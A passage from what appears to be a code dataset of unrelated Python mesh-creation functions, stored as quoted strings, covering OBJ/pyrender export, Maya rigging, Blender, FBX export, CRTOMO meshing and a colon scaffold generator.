mesh.points = np.array([[0.,0.,0.]])\n sys.stdout = sys.__stdout__\n\n return mesh","def create_mesh(self):\n print(\"create_mesh\")\n faces = self.get_faces()\n print(\"num faces: {}\".format(len(faces)))\n\n # TODO: perform face filtering to remove long edges in Z direction\n # filtered_faces = self.get_filtered_faces(faces)\n # print(\"num filtered faces: {}\".format(len(filtered_faces)))\n\n vertices = self.xyz_points.T\n\n # handle texture mappings\n vertex_index_to_texture = []\n for j in range(0, self.height):\n for i in range(0, self.width):\n # vertex_index = (j * self.width) + ij\n w = i / self.width\n h = (self.height - j - 1) / self.height\n vertex_index_to_texture.append(\n (w, h)\n )\n\n # Create material.\n # TODO: make the string/filename randomly generated and unique\n file0 = open(os.path.join(self.args.path, \"triangle_mesh.obj.mtl\"), \"w\") # write mode\n file0.write(\"newmtl material_0\\n\")\n # Save image here.\n cv2.imwrite(os.path.join(self.args.path, \"triangle_mesh.png\"), self.bgr)\n file0.write(\"map_Kd triangle_mesh.png\\n\")\n file0.close()\n\n # https://en.wikipedia.org/wiki/Wavefront_.obj_file\n # https://github.com/mmatl/pyrender/blob/master/examples/models/fuze.obj\n obj_path = os.path.join(self.args.path, \"triangle_mesh.obj\")\n file1 = open(obj_path, \"w\") # write mode\n file1.write(\"mtllib ./triangle_mesh.obj.mtl\\n\")\n for vertex in vertices:\n x, y, z = vertex\n file1.write(\"v {} {} {}\\n\".format(x, y, z))\n file1.write(\"usemtl material_0\\n\")\n for w, h in vertex_index_to_texture:\n file1.write(\"vt {} {}\\n\".format(w, h))\n for face in faces:\n a, b, c = face\n a += 1\n b += 1\n c += 1\n file1.write(\"f {}/{} {}/{} {}/{}\\n\".format(\n a, a, b, b, c, c\n )\n )\n file1.close()\n\n # Load the trimesh from OBJ file.\n trimesh_mesh = trimesh.load(obj_path)\n # trimesh_mesh.show()\n\n mesh = pyrender.Mesh.from_trimesh(trimesh_mesh, smooth=False)\n self.scene = pyrender.Scene(ambient_light=[3.0, 3.0, 3.0])\n\n camera = pyrender.IntrinsicsCamera(\n self.focal_length, self.focal_length, self.width / 2, self.height / 2\n )\n self.camera_pose = np.array([\n [1.0, 0.0, 0.0, 0.0],\n [0.0, 1.0, 0.0, 0.0],\n [0.0, 0.0, 1.0, 0.0],\n [0.0, 0.0, 0.0, 1.0],\n ])\n # https://pyrender.readthedocs.io/en/latest/examples/cameras.html#creating-cameras\n # https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.transform.Rotation.html\n r = R.from_rotvec(np.array([0, np.pi, 0]))\n r = R.from_rotvec(np.array([0.0, 0, np.pi])) * r\n matrix = r.as_matrix()\n self.camera_pose[:3, :3] = matrix\n\n light = pyrender.PointLight(\n color=[1.0, 1.0, 1.0],\n intensity=0.0\n )\n\n self.nm = pyrender.Node(mesh=mesh, matrix=np.eye(4))\n self.nl = pyrender.Node(light=light, matrix=np.eye(4))\n self.nc = pyrender.Node(camera=camera, matrix=np.eye(4))\n self.scene.add_node(self.nm)\n self.scene.add_node(self.nl)\n self.scene.add_node(self.nc)\n\n # Set the pose and show the image.\n temppose = self.extrinsics @ self.camera_pose\n self.scene.set_pose(self.nl, pose=temppose)\n self.scene.set_pose(self.nc, pose=temppose)\n pyrender.Viewer(self.scene, use_raymond_lighting=True,\n viewport_size=(self.width, self.height))","def create_simpleMesh(self, forceNew = True, skin = False,connect=True,reverseNormal = None,\n deleteHistory=False,loftMode = None ):#'evenCubic'\n _str_func = 'create_simpleMesh'\n log.debug(\"|{0}| >> forceNew: {1} | skin: {2} \".format(_str_func,forceNew,skin)+ '-'*80)\n log.debug(\"{0}\".format(self))\n \n if self.getMayaAttr('isBlockFrame'):\n log.debug(cgmGEN.logString_sub(_str_func,'blockFrame bypass'))\n return \n \n mParent = False\n #Check for existance of mesh ========================================================================\n if connect:\n bfr = self.msgList_get('simpleMesh',asMeta=True)\n if skin and bfr:\n log.debug(\"|{0}| >> simpleMesh detected...\".format(_str_func)) \n if forceNew:\n log.debug(\"|{0}| >> force new...\".format(_str_func)) \n mc.delete([mObj.mNode for mObj in bfr])\n else:\n return bfr\n if skin:\n mModuleTarget = self.getMessageAsMeta('moduleTarget')\n if not mModuleTarget:\n return log.error(\"|{0}| >> Must have moduleTarget for skining mode\".format(_str_func)) \n mPuppet = puppet_get(self,mModuleTarget)\n if not mPuppet:\n return log.error(\"|{0}| >> Must have puppet for skining mode\".format(_str_func))\n mGeoGroup = mPuppet.masterNull.geoGroup\n mParent = mGeoGroup\n log.debug(\"|{0}| >> mPuppet: {1}\".format(_str_func,mPuppet))\n log.debug(\"|{0}| >> mGeoGroup: {1}\".format(_str_func,mGeoGroup)) \n log.debug(\"|{0}| >> mModuleTarget: {1}\".format(_str_func,mModuleTarget))\n \n #BlockModule call? ====================================================================================\n mBlockModule = self.p_blockModule\n if mBlockModule.__dict__.has_key('create_simpleMesh'):\n log.debug(\"|{0}| >> BlockModule 'create_simpleMesh' call found...\".format(_str_func)) \n ml_mesh = mBlockModule.create_simpleMesh(self,skin=skin,parent=mParent,deleteHistory=deleteHistory)\n \n else:#Create ======================================================================================\n if not loftMode:\n if self.getEnumValueString('loftDegree') == 'cubic':\n loftMode = 'evenCubic'\n else:\n loftMode = 'evenLinear'\n \n \n kws = {}\n if self.blockType in ['limb']:\n if self.addLeverBase and self.getEnumValueString('addLeverBase') != 'joint' and skin:\n kws['skip'] = [0]\n \n ml_mesh = create_simpleLoftMesh(self,form=2,degree=None,divisions=2,deleteHistory=deleteHistory,loftMode=loftMode,**kws)\n \n \n #Get if skin data -------------------------------------------------------------------------------\n if skin:\n log.debug(\"|{0}| >> skinnable? ...\".format(_str_func)) \n ml_moduleJoints = mModuleTarget.rigNull.msgList_get('moduleJoints')\n if not ml_moduleJoints:\n return log.error(\"|{0}| >> Must have moduleJoints for skining mode\".format(_str_func))\n log.debug(\"|{0}| >> ml_moduleJoints: {1}\".format(_str_func,ml_moduleJoints)) \n\n md_parents = {}#We're going to un parent our joints before skinning and then reparent\n for i,mJnt in enumerate(ml_moduleJoints):\n md_parents[mJnt] = mJnt.getParent(asMeta=True)\n if i:mJnt.p_parent = ml_moduleJoints[i-1]\n \n\n log.debug(\"|{0}| >> skinning..\".format(_str_func))\n #l_joints= [mJnt.mNode for mJnt in ml_moduleJoints]\n for mMesh in ml_mesh:\n log.debug(\"|{0}| >> skinning {1}\".format(_str_func,mMesh))\n mMesh.p_parent = mParent\n \n MRSPOST.skin_mesh(mMesh,ml_moduleJoints)\n \n \"\"\"\n #mMesh.doCopyPivot(mGeoGroup.mNode)\n try:\n skin = mc.skinCluster (l_joints,\n mMesh.mNode,\n tsb=True,\n bm=2,\n wd=0,\n heatmapFalloff = 1,\n maximumInfluences = 2,\n normalizeWeights = 1, dropoffRate=5)\n except Exception,err:\n log.warning(\"|{0}| >> heat map fail: {1}.. | {2}\".format(_str_func,format(self.mNode),err))\n skin = mc.skinCluster (l_joints,\n mMesh.mNode,\n tsb=True,\n bm=0,\n maximumInfluences = 2,\n wd=0,\n normalizeWeights = 1,dropoffRate=10)\n skin = mc.rename(skin,'{0}_skinCluster'.format(mMesh.p_nameBase))\"\"\"\n \n #Reparent\n for i,mJnt in enumerate(ml_moduleJoints):\n mJnt.p_parent = md_parents[mJnt]\n #pprint.pprint(md_parents)\n if connect and ml_mesh:\n self.msgList_connect('simpleMesh',ml_mesh) \n return ml_mesh","def CreateDummyUpperDimensionalMesh(self):\n\n\n sys.stdout = open(os.devnull, \"w\")\n p = self.InferPolynomialDegree()\n mesh = Mesh()\n if self.element_type == \"tri\":\n mesh.Parallelepiped(nx=1,ny=1,nz=1, element_type=\"tet\")\n mesh.GetHighOrderMesh(p=p)\n elif self.element_type == \"quad\":\n mesh.Parallelepiped(nx=1,ny=1,nz=1, element_type=\"hex\")\n mesh.GetHighOrderMesh(p=p)\n elif self.element_type == \"line\":\n mesh.Rectangle(nx=1,ny=1, element_type=\"quad\")\n mesh.GetHighOrderMesh(p=p)\n sys.stdout = sys.__stdout__\n\n return mesh","def build_mesh(self):\n vertices = []\n indices = []\n step = 10\n istep = (pi * 2) / float(step)\n for i in range(step):\n x = 350 + cos(istep * i) * 100\n y = 350 + sin(istep * i) * 100\n vertices.extend([x, y, 0, 0])\n indices.append(i)\n return Mesh(vertices=vertices, indices=indices)","def meshmaker(self,\n abmn=None,\n electrode_spacing=5,\n elevation_data=None\n ):\n\n dat = abmn\n mesh_dir = self.mesh_dir\n mesh_exe_name = self.mesh_exe\n elev = elevation_data\n es = electrode_spacing # Electrode spacing\n\n # Electrodes x-position\n\n extent = int(max(dat.flatten())) # Maximum electrode x-position\n\n epx = list(range(0, extent + es, es))\n\n epn = 'elec1.dat'\n epfn = jp(mesh_dir, epn) # Electrode position file\n\n with open(epfn, 'w') as elec:\n [elec.write(str(i + 1) + ' ' + str(i * es) + '\\n') for i in range(0, len(epx))]\n elec.close()\n\n # Electrodes elevation\n\n fnel = f1d(elev[:, 0], elev[:, 1], kind='cubic',\n fill_value=\"extrapolate\") # Interpolation function for the elevation to fill the gaps.\n elint = list(map(float, list(map(fnel, epx))))\n\n evn = 'topo1.dat'\n evf = jp(mesh_dir, evn) # Electrode elevation file\n\n with open(evf, 'w') as elev:\n [elev.write(str(i * es) + ' ' + str(elint[i]) + '\\n') for i in range(0, len(epx))]\n elev.close()\n\n ms_exe_f = jp(mesh_dir, path_leaf(mesh_exe_name))\n\n # if not os.path.exists(self.mesh_exe): # Check if the mesh exe files can be found.\n # if os.path.exists(jp(self.working_dir, path_leaf(mesh_exe_name))):\n # copyfile(jp(self.working_dir, path_leaf(mesh_exe_name)), ms_exe_f)\n # else:\n # print('Can not find mesh executable')\n\n if os.path.exists(self.mesh_exe): # Check if the mesh exe files can be found.\n if not os.path.exists(jp(self.mesh_dir, path_leaf(mesh_exe_name))):\n copyfile(self.mesh_exe, ms_exe_f)\n else:\n print('Can not find mesh executable')\n self.mesh_exe = ms_exe_f\n\n mesh_short = '.\\\\'\n epfn = crtomo_file_shortener(ms_exe_f, epfn)\n evf = crtomo_file_shortener(ms_exe_f, evf)\n\n # Writing mesh.in file\n meshparams = [\"{}\".format(mesh_short),\n \"{}\".format(epfn),\n \"Mesh\", \"2\", \"{}\".format(evf),\n \"0 0\",\n \"0.1 20 0.01 0.05\"]\n\n meshinf = jp(os.path.dirname(self.mesh_exe), 'mesh.in')\n\n with open(meshinf, 'w') as ms:\n ms.write('\\n'.join(meshparams))\n ms.close()\n\n # Running mesh exe file\n\n mmdir = jp(mesh_dir, 'Model') # CRTOMO automatically loads the results in a folder called 'Model'\n\n try:\n if not os.path.exists(mmdir):\n os.makedirs(mmdir)\n except:\n pass\n\n os.chdir(self.mesh_dir)\n sp.call([self.mesh_exe]) # Run\n os.chdir(self.working_dir)\n\n msh = datread(jp(mmdir, 'Mesh.msh'))\n nelem = int(msh[1][1])\n\n # Builing final mesh\n\n # 1 - Where there are 4 columns, move them to the right and add a column beginning by 1 incrementing by 1\n # each line.\n\n nc = [len(e) for e in msh]\n\n cidx1 = nc.index(4) # Beginning of 4 columns\n b1 = nc.index(2) # End of 4 columns when 2 columns appear\n [msh[i].insert(0, i + 1 - cidx1) for i in range(cidx1, b1)]\n\n # 2 - Where's there's one column, take it and place it on the right of the two previous one. Move the three\n # of them to the right and add a new column like step 1.\n\n l1 = [i for i, x in enumerate(nc) if x == 1] # Index of rows of length 1\n cidx2 = l1[0]\n b2 = l1[-1]\n\n l2 = [i for i, x in enumerate(nc) if x == 2] # Index of rows of length 2\n cidx3 = l2[0]\n b3 = l2[-1]\n\n for i in range(len(l2)):\n msh[l2[i]] += msh[l1[i]] # Inserting column\n\n [msh[l2[i]].insert(0, int(i + 1)) for i in range(len(l2))] # Inserting column 1 2 3 ...\n\n msh = np.delete(msh, l1) # Deleting column\n\n nc2 = [len(e) for e in msh] # New len array\n\n l5 = [i for i, x in enumerate(nc2) if x == 5] # Index of rows of length 5\n l5.pop(0) # First element = header, not necessary\n for j in range(len(l5)): # Adding columns as required\n msh[l5[j]] += ['T', 'T', 'T', 'T', int(10 + j), 'T', int(2 + j), 'T']\n\n adj = [msh[l5[i]][1:5] for i in range(len(l5))] # Preparing 'adj' file\n adj = np.array([list(map(int, a)) for a in adj])\n\n print('neighbourg process begins, there are {} elements'.format(nelem))\n\n adji = [Neighbourgs(adj, i) for i in range(nelem)]\n\n print('neighbourg process over')\n\n for j in range(len(l5)): # Adding columns as required\n msh[l5[j]] += list(map(str, adji[j]))\n\n # Export final mesh\n\n mesh_file_name = jp(mesh_dir, 'Mesh.dat') # Export Mesh.msh as Mesh.dat and Mesh.elc as elec.dat\n\n meshdat = '\\n'.join(['\\t'.join(list(map(str, l))) for l in msh])\n\n with open(mesh_file_name, 'w') as md:\n md.write(meshdat)\n md.close()\n\n elec_file_name = jp(mesh_dir, 'elec.dat') #\n\n copyfile(jp(mmdir, 'Mesh.elc'), elec_file_name) # Mesh.elc -> elec.dat\n\n print('mesh generated')","def create_meshregion_component(\n self, scale_factor=1.0, name=\"Component_Region\", restore_padding_values=[50, 50, 50, 50, 50, 50]\n ):\n self.modeler.edit_region_dimensions([0, 0, 0, 0, 0, 0])\n\n verticesID = self.modeler.oeditor.GetVertexIDsFromObject(\"Region\")\n\n x_values = []\n y_values = []\n z_values = []\n\n for id in verticesID:\n tmp = self.modeler.oeditor.GetVertexPosition(id)\n x_values.append(tmp[0])\n y_values.append(tmp[1])\n z_values.append(tmp[2])\n\n scale_factor = scale_factor - 1\n delta_x = (float(max(x_values)) - float(min(x_values))) * scale_factor\n x_max = float(max(x_values)) + delta_x / 2.0\n x_min = float(min(x_values)) - delta_x / 2.0\n\n delta_y = (float(max(y_values)) - float(min(y_values))) * scale_factor\n y_max = float(max(y_values)) + delta_y / 2.0\n y_min = float(min(y_values)) - delta_y / 2.0\n\n delta_z = (float(max(z_values)) - float(min(z_values))) * scale_factor\n z_max = float(max(z_values)) + delta_z / 2.0\n z_min = float(min(z_values)) - delta_z / 2.0\n\n dis_x = str(float(x_max) - float(x_min))\n dis_y = str(float(y_max) - float(y_min))\n dis_z = str(float(z_max) - float(z_min))\n\n min_position = self.modeler.Position(str(x_min) + \"mm\", str(y_min) + \"mm\", str(z_min) + \"mm\")\n mesh_box = self.modeler.primitives.create_box(min_position, [dis_x + \"mm\", dis_y + \"mm\", dis_z + \"mm\"], name)\n\n self.modeler.primitives[name].model = False\n\n self.modeler.edit_region_dimensions(restore_padding_values)\n return dis_x, dis_y, dis_z","def generate_guide_mesh():\n verts = [[0.0, 0.0, 0.0], [-0.01, -0.01, 0.1], [-0.01, 0.01, 0.1], [0.01, -0.01, 0.1], [0.01, 0.01, 0.1], [-0.03, -0.03, 0.1], [-0.03, 0.03, 0.1], [0.03, 0.03, 0.1], [0.03, -0.03, 0.1], [-0.01, -0.01, 0.2], [-0.01, 0.01, 0.2], [0.01, -0.01, 0.2], [0.01, 0.01, 0.2]]\n edges = [[0, 5], [5, 6], [6, 7], [7, 8], [8, 5], [1, 2], [2, 4], [4, 3], [3, 1], [5, 1], [2, 6], [4, 7], [3, 8], [9, 10], [10, 12], [12, 11], [11, 9], [3, 11], [9, 1], [2, 10], [12, 4], [6, 0], [7, 0], [8, 0]]\n faces = [[0, 5, 6], [0, 6, 7], [0, 7, 8], [0, 8, 5], [1, 3, 11, 9], [1, 2, 6, 5], [2, 4, 7, 6], [4, 3, 8, 7], [3, 1, 5, 8], [12, 10, 9, 11], [4, 2, 10, 12], [3, 4, 12, 11], [2, 1, 9, 10]]\n name = 'ModelingClothPinGuide'\n if 'ModelingClothPinGuide' in bpy.data.objects:\n mesh_ob = bpy.data.objects['ModelingClothPinGuide']\n else: \n mesh = bpy.data.meshes.new('ModelingClothPinGuide')\n mesh.from_pydata(verts, edges, faces) \n mesh.update()\n mesh_ob = bpy.data.objects.new(name, mesh)\n bpy.context.scene.objects.link(mesh_ob)\n mesh_ob.show_x_ray = True\n return mesh_ob","def createMesh(objname,Vert,Edges=[],Faces=[]):\n me = bpy.data.meshes.new(objname)\n ob = bpy.data.objects.new(objname,me)\n bpy.context.scene.objects.link(ob)\n \n me.from_pydata(Vert,Edges,Faces)\n me.update(calc_edges=True)","def add_mesh_to_scene(sdk, scene, mesh, contentid):\n global n\n name = contentid+\"_\"+str(n)\n n+=1\n # Todo: pass scene instead?\n fbx_mesh = FbxMesh.Create(sdk, name)\n fbx_mesh.CreateLayer()\n layer0 = fbx_mesh.GetLayer(0)\n\n # Verts\n\n fbx_mesh.InitControlPoints(len(mesh.v))\n if RELOCATE_BRUSHES is True:\n print mesh.v\n #MM TRANSLATE BRUSHES\n filler=(0,0,0)\n newmeshv=[]\n for i, v in enumerate(mesh.v):\n if i==0:\n reference=v\n newmeshv.append(filler)\n else:\n newmeshv.append(tuple(numpy.subtract(v,reference)))\n print newmeshv\n mesh.v=newmeshv\n \n for i, v in enumerate(mesh.v):\n fbx_mesh.SetControlPointAt(as_fvec4(v, scale=100), i)\n\n layer_elt = create_fbx_layer(\n fbx_mesh, mesh.n, as_fvec4, FbxLayerElementNormal)\n if layer_elt is not None:\n layer0.SetNormals(layer_elt)\n\n layer_elt = create_fbx_layer(\n fbx_mesh, mesh.c, as_fcolor, FbxLayerElementVertexColor,\n allow_index = True,\n allow_allsame = True)\n if layer_elt is not None:\n layer0.SetVertexColors(layer_elt)\n\n # Tilt Brush may have 3- or 4-element UV channels, and may have multiple\n # UV channels. This only handles the standard case of 2-component UVs\n layer_elt = create_fbx_layer(\n fbx_mesh, mesh.uv0, as_fvec2, FbxLayerElementUV,\n allow_index = True)\n if layer_elt is not None:\n layer0.SetUVs(layer_elt, FbxLayerElement.eTextureDiffuse)\n pass\n\n layer_elt = create_fbx_layer(\n fbx_mesh, mesh.t, as_fvec4, FbxLayerElementTangent,\n allow_index = True)\n if layer_elt is not None:\n layer0.SetTangents(layer_elt)\n\n # Unity's FBX import requires Binormals to be present in order to import the\n # tangents but doesn't actually use them, so we just output some dummy data.\n layer_elt = create_fbx_layer(\n fbx_mesh, ((0, 0, 0, 0),), as_fvec4, FbxLayerElementBinormal,\n allow_allsame = True)\n if layer_elt is not None:\n layer0.SetBinormals(layer_elt)\n\n layer_elt = create_fbx_layer(\n fbx_mesh, (), lambda x: x, FbxLayerElementMaterial, allow_allsame = True)\n if layer_elt is not None:\n layer0.SetMaterials(layer_elt)\n\n # Polygons\n\n for triplet in mesh.tri:\n fbx_mesh.BeginPolygon(-1, -1, False)\n fbx_mesh.AddPolygon(triplet[0])\n fbx_mesh.AddPolygon(triplet[1])\n fbx_mesh.AddPolygon(triplet[2])\n fbx_mesh.EndPolygon()\n\n material = FbxSurfaceLambert.Create(sdk, mesh.brush_name)\n name=mesh.brush_name+\"_\"+str(mesh.c[0])+\"_\"+name\n \n if EXPORT_BRUSH_AREA is True:\n ps=[]\n for t in mesh.v:\n ps.append(list(t))\n #ps2=[]\n #for t in mesh.t:\n # ps2.append(list(t[0:3])) \n # print len(mesh.tri)\n #print len(mesh.v)\n #print ps\n print name+\",\"+str(poly_area(ps))\n #print poly_area(ps2)\n #poly = [[0, 3, 1], [0, 2, 3], [2, 5, 3], [2, 4, 5], [4, 7, 5], [4, 6, 7], [6, 9, 7], [6, 8, 9], [8, 11, 9], [8, 10, 11], [10, 13, 11], [10, 12, 13], [12, 15, 13], [12, 14, 15]]\n #print poly_area(poly) \n global polyareadata\n polyareadata.append(name+\",\"+str(poly_area(ps)))\n \n print name\n mm_save_mesh_metadata(name,mesh)\n #print mesh.brush_name #Roughly analagous to a material\n #print mesh.brush_guid\n #print mesh.v #list of positions (3-tuples)\n #print mesh.n #list of normals (3-tuples, or None if missing)\n #print mesh.uv0 #list of uv0 (2-, 3-, 4-tuples, or None if missing)\n #print mesh.uv1 #see uv0\n #print mesh.c #list of colors, as a uint32. abgr little-endian, rgba big-endian\n #print mesh.t #list of tangents (4-tuples, or None if missing)\n #print mesh.tri #list of triangles (3-tuples of ints)\n \n # Node tree\n\n root = scene.GetRootNode()\n node = FbxNode.Create(sdk, name)\n node.SetNodeAttribute(fbx_mesh)\n node.AddMaterial(material)\n node.SetShadingMode(FbxNode.eTextureShading) # Hmm\n root.AddChild(node)","def generateBaseMesh(cls, region, options):\n centralPath = options['Central path']\n segmentProfile = options['Segment profile']\n segmentCount = options['Number of segments']\n startPhase = options['Start phase'] % 360.0\n proximalLength = options['Proximal length']\n transverseLength = options['Transverse length']\n proximalInnerRadius = options['Proximal inner radius']\n proximalTCWidth = options['Proximal tenia coli width']\n proximalTransverseInnerRadius = options['Proximal-transverse inner radius']\n proximalTransverseTCWidth = options['Proximal-transverse tenia coli width']\n transverseDistalInnerRadius = options['Transverse-distal inner radius']\n transverseDistalTCWidth = options['Transverse-distal tenia coli width']\n distalInnerRadius = options['Distal inner radius']\n distalTCWidth = options['Distal tenia coli width']\n segmentSettings = segmentProfile.getScaffoldSettings()\n\n elementsCountAroundTC = segmentSettings['Number of elements around tenia coli']\n elementsCountAroundHaustrum = segmentSettings['Number of elements around haustrum']\n cornerInnerRadiusFactor = segmentSettings['Corner inner radius factor']\n haustrumInnerRadiusFactor = segmentSettings['Haustrum inner radius factor']\n segmentLengthEndDerivativeFactor = segmentSettings['Segment length end derivative factor']\n segmentLengthMidDerivativeFactor = segmentSettings['Segment length mid derivative factor']\n tcCount = segmentSettings['Number of tenia coli']\n tcThickness = segmentSettings['Tenia coli thickness']\n elementsCountAround = (elementsCountAroundTC + elementsCountAroundHaustrum) * tcCount\n\n elementsCountAlongSegment = segmentSettings['Number of elements along segment']\n elementsCountThroughWall = segmentSettings['Number of elements through wall']\n wallThickness = segmentSettings['Wall thickness']\n mucosaRelThickness = segmentSettings['Mucosa relative thickness']\n submucosaRelThickness = segmentSettings['Submucosa relative thickness']\n circularRelThickness = segmentSettings['Circular muscle layer relative thickness']\n longitudinalRelThickness = segmentSettings['Longitudinal muscle layer relative thickness']\n useCrossDerivatives = segmentSettings['Use cross derivatives']\n useCubicHermiteThroughWall = not (segmentSettings['Use linear through wall'])\n elementsCountAlong = int(elementsCountAlongSegment * segmentCount)\n\n # Colon coordinates\n lengthToDiameterRatio = 24\n wallThicknessToDiameterRatio = 0.1\n teniaColiThicknessToDiameterRatio = 0.25 * wallThicknessToDiameterRatio\n relativeThicknessListColonCoordinates = [1.0 / elementsCountThroughWall for n3 in range(elementsCountThroughWall)]\n\n firstNodeIdentifier = 1\n firstElementIdentifier = 1\n\n # Central path\n tmpRegion = region.createRegion()\n centralPath.generate(tmpRegion)\n cx, cd1, cd2, cd12 = extractPathParametersFromRegion(tmpRegion,\n [Node.VALUE_LABEL_VALUE, Node.VALUE_LABEL_D_DS1,\n Node.VALUE_LABEL_D_DS2, Node.VALUE_LABEL_D2_DS1DS2])\n # for i in range(len(cx)):\n # print(i, '[', cx[i], ',', cd1[i], ',', cd2[i], ',', cd12[i], '],')\n del tmpRegion\n\n # find arclength of colon\n length = 0.0\n elementsCountIn = len(cx) - 1\n sd1 = interp.smoothCubicHermiteDerivativesLine(cx, cd1, fixAllDirections=True,\n magnitudeScalingMode=interp.DerivativeScalingMode.HARMONIC_MEAN)\n for e in range(elementsCountIn):\n arcLength = interp.getCubicHermiteArcLength(cx[e], sd1[e], cx[e + 1], sd1[e + 1])\n # print(e+1, arcLength)\n length += arcLength\n segmentLength = length / segmentCount\n # print('Length = ', length)\n elementAlongLength = length / elementsCountAlong\n\n # Sample central path\n sx, sd1, se, sxi, ssf = interp.sampleCubicHermiteCurves(cx, cd1, elementsCountAlong)\n sd2, sd12 = interp.interpolateSampleCubicHermite(cd2, cd12, se, sxi, ssf)\n\n # Generate variation of radius & tc width along length\n lengthList = [0.0, proximalLength, proximalLength + transverseLength, length]\n innerRadiusList = [proximalInnerRadius, proximalTransverseInnerRadius,\n transverseDistalInnerRadius, distalInnerRadius]\n innerRadiusAlongElementList, dInnerRadiusAlongElementList = interp.sampleParameterAlongLine(lengthList,\n innerRadiusList,\n elementsCountAlong)\n\n tcWidthList = [proximalTCWidth, proximalTransverseTCWidth, transverseDistalTCWidth, distalTCWidth]\n tcWidthAlongElementList, dTCWidthAlongElementList = interp.sampleParameterAlongLine(lengthList,\n tcWidthList,\n elementsCountAlong)\n\n # Account for reduced haustrum appearance in transverse and distal pig colon\n if tcCount == 2:\n haustrumInnerRadiusFactorList = [haustrumInnerRadiusFactor, haustrumInnerRadiusFactor * 0.75,\n haustrumInnerRadiusFactor * 0.5, haustrumInnerRadiusFactor * 0.2]\n haustrumInnerRadiusFactorAlongElementList = \\\n interp.sampleParameterAlongLine(lengthList, haustrumInnerRadiusFactorList, elementsCountAlong)[0]\n else:\n haustrumInnerRadiusFactorAlongElementList = [haustrumInnerRadiusFactor] * (elementsCountAlong + 1)\n\n # Create annotation groups for colon sections\n elementsAlongInProximal = round(proximalLength / elementAlongLength)\n elementsAlongInTransverse = round(transverseLength / elementAlongLength)\n elementsAlongInDistal = elementsCountAlong - elementsAlongInProximal - elementsAlongInTransverse\n elementsCountAlongGroups = [elementsAlongInProximal, elementsAlongInTransverse, elementsAlongInDistal]\n\n colonGroup = AnnotationGroup(region, get_colon_term(\"colon\"))\n\n if tcCount == 1:\n proximalGroup = AnnotationGroup(region, get_colon_term(\"proximal colon\"))\n transverseGroup = AnnotationGroup(region, get_colon_term(\"transverse colon\"))\n distalGroup = AnnotationGroup(region, get_colon_term(\"distal colon\"))\n annotationGroupAlong = [[colonGroup, proximalGroup],\n [colonGroup, transverseGroup],\n [colonGroup, distalGroup]]\n\n elif tcCount == 2:\n spiralGroup = AnnotationGroup(region, get_colon_term(\"spiral colon\"))\n transverseGroup = AnnotationGroup(region, get_colon_term(\"transverse colon\"))\n distalGroup = AnnotationGroup(region, get_colon_term(\"distal colon\"))\n annotationGroupAlong = [[colonGroup, spiralGroup],\n [colonGroup, transverseGroup],\n [colonGroup, distalGroup]]\n\n elif tcCount == 3:\n ascendingGroup = AnnotationGroup(region, get_colon_term(\"ascending colon\"))\n transverseGroup = AnnotationGroup(region, get_colon_term(\"transverse colon\"))\n descendingGroup = AnnotationGroup(region, get_colon_term(\"descending colon\"))\n annotationGroupAlong = [[colonGroup, ascendingGroup],\n [colonGroup, transverseGroup],\n [colonGroup, descendingGroup]]\n\n annotationGroupsAlong = []\n for i in range(len(elementsCountAlongGroups)):\n elementsCount = elementsCountAlongGroups[i]\n for n in range(elementsCount):\n annotationGroupsAlong.append(annotationGroupAlong[i])\n\n xExtrude = []\n d1Extrude = []\n d2Extrude = []\n d3UnitExtrude = []\n sxRefExtrudeList = []\n\n if elementsCountThroughWall == 1:\n relativeThicknessList = [1.0]\n annotationGroupsThroughWall = [[]]\n else:\n relativeThicknessList = [mucosaRelThickness, submucosaRelThickness,\n circularRelThickness, longitudinalRelThickness]\n mucosaGroup = AnnotationGroup(region, get_colon_term(\"colonic mucosa\"))\n submucosaGroup = AnnotationGroup(region, get_colon_term(\"submucosa of colon\"))\n circularMuscleGroup = AnnotationGroup(region, get_colon_term(\"circular muscle layer of colon\"))\n longitudinalMuscleGroup = AnnotationGroup(region, get_colon_term(\"longitudinal muscle layer of colon\"))\n annotationGroupsThroughWall = [[mucosaGroup], [submucosaGroup],\n [circularMuscleGroup], [longitudinalMuscleGroup]]\n\n # Create object\n colonSegmentTubeMeshInnerPoints = ColonSegmentTubeMeshInnerPoints(\n region, elementsCountAroundTC, elementsCountAroundHaustrum, elementsCountAlongSegment,\n tcCount, segmentLengthEndDerivativeFactor, segmentLengthMidDerivativeFactor,\n segmentLength, wallThickness, cornerInnerRadiusFactor, haustrumInnerRadiusFactorAlongElementList,\n innerRadiusAlongElementList, dInnerRadiusAlongElementList, tcWidthAlongElementList,\n startPhase)\n\n for nSegment in range(segmentCount):\n # Create inner points\n xInner, d1Inner, d2Inner, transitElementList, segmentAxis, annotationGroupsAround \\\n = colonSegmentTubeMeshInnerPoints.getColonSegmentTubeMeshInnerPoints(nSegment)\n\n # Project reference point for warping onto central path\n start = nSegment * elementsCountAlongSegment\n end = (nSegment + 1) * elementsCountAlongSegment + 1\n sxRefList, sd1RefList, sd2ProjectedListRef, zRefList = \\\n tubemesh.getPlaneProjectionOnCentralPath(xInner, elementsCountAround, elementsCountAlongSegment,\n segmentLength, sx[start:end], sd1[start:end], sd2[start:end],\n sd12[start:end])\n\n # Warp segment points\n xWarpedList, d1WarpedList, d2WarpedList, d3WarpedUnitList = tubemesh.warpSegmentPoints(\n xInner, d1Inner, d2Inner, segmentAxis, sxRefList, sd1RefList, sd2ProjectedListRef,\n elementsCountAround, elementsCountAlongSegment, zRefList, innerRadiusAlongElementList[start:end],\n closedProximalEnd=False)\n\n # Store points along length\n xExtrude += xWarpedList if nSegment == 0 else xWarpedList[elementsCountAround:]\n d1Extrude += d1WarpedList if nSegment == 0 else d1WarpedList[elementsCountAround:]\n d2Extrude += d2WarpedList if nSegment == 0 else d2WarpedList[elementsCountAround:]\n d3UnitExtrude += d3WarpedUnitList if nSegment == 0 else d3WarpedUnitList[elementsCountAround:]\n sxRefExtrudeList += sxRefList if nSegment == 0 else sxRefList[elementsCountAround:]\n\n contractedWallThicknessList = colonSegmentTubeMeshInnerPoints.getContractedWallThicknessList()\n\n # Create coordinates and derivatives\n xList, d1List, d2List, d3List, curvatureList = tubemesh.getCoordinatesFromInner(xExtrude, d1Extrude,\n d2Extrude, d3UnitExtrude, contractedWallThicknessList, relativeThicknessList,\n elementsCountAround, elementsCountAlong, elementsCountThroughWall, transitElementList)\n\n relaxedLengthList, xiList = colonSegmentTubeMeshInnerPoints.getRelaxedLengthAndXiList()\n\n closedProximalEnd = False\n\n if tcThickness > 0:\n tubeTCWidthList = colonSegmentTubeMeshInnerPoints.getTubeTCWidthList()\n xList, d1List, 